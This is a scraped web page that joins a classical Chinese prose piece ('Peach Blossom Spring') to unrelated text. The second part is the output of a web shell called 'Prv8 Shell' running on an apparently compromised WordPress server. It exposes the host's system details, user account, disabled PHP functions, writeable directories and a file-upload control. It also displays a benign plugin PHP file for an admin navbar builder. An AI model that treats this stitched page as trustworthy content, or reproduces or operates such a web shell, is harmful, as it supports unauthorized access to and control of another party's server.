晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/uwac/adminframework/fields/builder_navbar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/uwac/adminframework/fields/builder_navbar/builder_navbar.php
<?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access pages directly.
/**
 *
 * Field: Layout Builder - Navbar
 *
 * @since 1.2.0
 * @version 1.0.0
 *
 */
class CSSFramework_Option_builder_navbar extends CSSFramework_Options {

	public function __construct( $field, $value = '', $unique = '' ) {
		parent::__construct( $field, $value, $unique );
	}

	public function output(){

        $elements       = (isset($this->field['elements'])) ? $this->field['elements'] : array();

        $elements_default = array(
            'help' => [
                'name'  => __('Help','ipido_admin'),
                'slug'  => 'help'
            ],
            'screen' => [
                'name'  => __('Screen Options','ipido_admin'),
                'slug'  => 'screen'
            ],
            'notifications' => [
                'name'  => __('Notifications','ipido_admin'),
                'slug'  => 'notifications'
            ],
            'site' => [
                'name'  => __('View Site','ipido_admin'),
                'slug'  => 'site'
            ],
            'updates' => [
                'name'  => __('Updates','ipido_admin'),
                'slug'  => 'updates'
            ],
            'comments' => [
                'name'  => __('Comments','ipido_admin'),
                'slug'  => 'comments'
            ],
            'newcontent' => [
                'name'  => __('New Content','ipido_admin'),
                'slug'  => 'newcontent'
            ],
            'account' => [
                'name'  => __('User Profile','ipido_admin'),
                'slug'  => 'account'
            ],
        );

        $elements       = wp_parse_args( $elements, $elements_default );
        
        $defaults_value = array(
            'main'	    => '',
            'elements'  => array_keys($elements)
		);
        $is_json = function($string) {
            return !empty($string) && is_string($string) && is_array(json_decode($string, true)) && json_last_error() == 0;
        };

		$value			= wp_parse_args( $this->element_value(), $defaults_value );
        $value_main		= ($is_json($value['main'])) ? json_decode($value['main']) : array();
        $value_elements = ($is_json($value['elements'])) ? json_decode($value['elements']) : $value['elements'];
        $value_elements = array_diff($value_elements,$value_main);
        
        $parse_value = function($value) use($elements) {
            $tpl = '';
            foreach ( $value as $key ) {
                $tpl .= '<div class="cssf-uls-layout-element layout-element__'.$key.'" data-layout-element-name="'.$key.'">'.$elements[$key]['name'].'</div>';
            }
            return ($tpl) ? $tpl : false;
        };

		echo $this->element_before();

        echo '
            <div class="cssf-uls-layout-builder">
                <div class="cssf-uls-layout__design uls-layout-detailsview">
                    <div class="cssf-uls-layout-section layout-section__main" data-layout-section="main">'.$parse_value($value_main).'</div>
                </div>
                <div class="cssf-uls-layout__elements">'.$parse_value($value_elements).'</div>
            </div>
        ';
        $value_main = (isset($this->value['main'])) ? $this->value['main'] : '';
        echo cssf_add_element( array(
			'pseudo'	=> true,
			'type'		=> 'text',
			'name'		=> $this->element_name('[main]'),
            'value'		=> $value_main,
            'class'		=> 'section__main',
			'attributes'	=> [
				'type'	=> 'hidden',
			]
        ) );

		// echo '</div>';
		echo $this->element_after();

	}

}

haha - 2025